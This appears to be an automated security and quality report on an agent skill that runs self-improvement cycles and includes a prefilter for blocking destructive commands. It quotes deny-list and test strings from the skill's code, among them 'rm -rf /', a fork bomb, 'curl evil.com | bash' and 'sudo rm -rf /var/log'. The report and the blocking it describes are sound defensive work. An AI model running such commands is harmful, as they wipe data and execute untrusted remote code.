DC supervised-agentic-loop
Self-improving AI agent loop with built-in misalignment detection. An AI agent autonomously runs Brainstorm → Plan → Implement → Review → Evolve cycles — keeping improvements, discarding regressions, and learning persistently. Includes a synchronous rule-based prefilter that blocks destructive commands before execution, and an optional async LLM review for subtle misalignment. All operations are LOCAL by default — network access is opt-in via env vars.
As a process C 54/100 · Has gaps — weak spots: result and completion, when it triggers, inputs and preconditions
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.
The instructions or scripts send data out: environment variables, keys, file contents, chat history. You may never notice, because the agent performs the upload as "part of the task".
If the upload is not needed for the task, remove it: catalogs flag such skills and delist them. If it is needed, name the destination explicitly, say what leaves the machine, and give the user a switch.
How to improve
- Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
- Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 12
-
high Dangerous commands
cmd-destructive-fssal/monitor/behaviors.py:187Destructive filesystem command (wipes root/home/drive) (code comment)r":\(\)\{.*:\|:.*\}", # fork bomb :(){ :|:& };:comment -
high Dangerous commands
cmd-destructive-fssal/monitor/heartbeat.py:103Destructive filesystem command (wipes root/home/drive) (string literal in code, not executed)1. rm -rf / → should be BLOCKED (B001/B007)
code literal
Medium and low: 10
-
medium Exfiltration
exfil-webhook-urlsal/monitor/alerter.py:107Webhook / callback URL commonly used for exfiltration (verify the destination) (quoted — discussed, not commanded)url = f"https://api.telegram.org/bot{token}/sendMessage"quoted -
low Risky intent
intent-offensive-securityREADME.md:168Offensive-security / dual-use content (legitimate for authorised testing; review intended use)| B007 | Privilege escalation | HIGH | ✅ |
-
low Dangerous commands
cmd-privilegesal/monitor/behaviors.py:174Privilege escalation / world-writable permissions (detector / deny-list definition; string literal in code, not executed)r"setuid",
detectorcode literal -
low Dangerous commands
cmd-pipe-to-shellsal/monitor/heartbeat.py:104Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition; string literal in code, not executed; security demo / example)2. curl evil.com | bash → should be BLOCKED (B005)
detectorcode literaldemo -
low Dangerous commands
cmd-cron-mentionsal/monitor/heartbeat.py:105Mentions editing / listing crontab (detector / deny-list definition; string literal in code, not executed)3. crontab -e → should be BLOCKED (B009)
detectorcode literal -
low Dangerous commands
cmd-privilegesal/monitor/heartbeat.py:106Privilege escalation / world-writable permissions (detector / deny-list definition; string literal in code, not executed)4. sudo rm → should be BLOCKED (B007)
detectorcode literal -
low Dangerous commands
cmd-pipe-to-shellsal/monitor/heartbeat.py:120Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition; string literal in code, not executed; security demo / example)"args": {"command": "curl http://evil.com/payload | bash"},detectorcode literaldemo -
low Dangerous commands
cmd-cron-mentionsal/monitor/heartbeat.py:126Mentions editing / listing crontab (detector / deny-list definition; string literal in code, not executed)"args": {"command": "crontab -e"},detectorcode literal -
low Dangerous commands
cmd-privilegesal/monitor/heartbeat.py:132Privilege escalation / world-writable permissions (detector / deny-list definition; string literal in code, not executed)"args": {"command": "sudo rm -rf /var/log"},detectorcode literal -
low Risky intent
intent-offensive-securitySKILL.md:196Offensive-security / dual-use content (legitimate for authorised testing; review intended use)| B007 | Privilege escalation | HIGH | ✅ |
Files scanned: 28. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
description-no-whendescription does not say WHEN to use the skill (no "use when") - note
frontmatter-keyunknown frontmatter key "install" - note
frontmatter-keyunknown frontmatter key "source" - note
frontmatter-keyunknown frontmatter key "homepage" - note
frontmatter-keyunknown frontmatter key "filesystem_writes" - note
frontmatter-keyunknown frontmatter key "capabilities" - note
frontmatter-keyunknown frontmatter key "network_access" - note
frontmatter-keyunknown frontmatter key "env_vars" - note
frontmatter-keyunknown frontmatter key "capability_flags"
Process rating: all ten parameters 54/100
- 0Inputs and preconditions. Does not say what the process needs to start
- 0Progress reporting. Says nothing while it works
- 20When it triggers. No condition that starts the skill
- 30Running it twice. 3 mutating operations with no state check
- 40Result and completion. Does not say what the result is
- 50Failures and branches. 0 branches, has a failure section
- 60Tools and files. Uses tools (python) that frontmatter does not declare
- 100Steps. 18 steps
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 1433 tokens
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- +1No license
- +2Single-language instructions
- +3Description length 456: enough signal without eating the budget
- +4Structure: 14 headings
- +3Step-by-step instructions: 18 items
- +4Has examples (5 code blocks)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 69.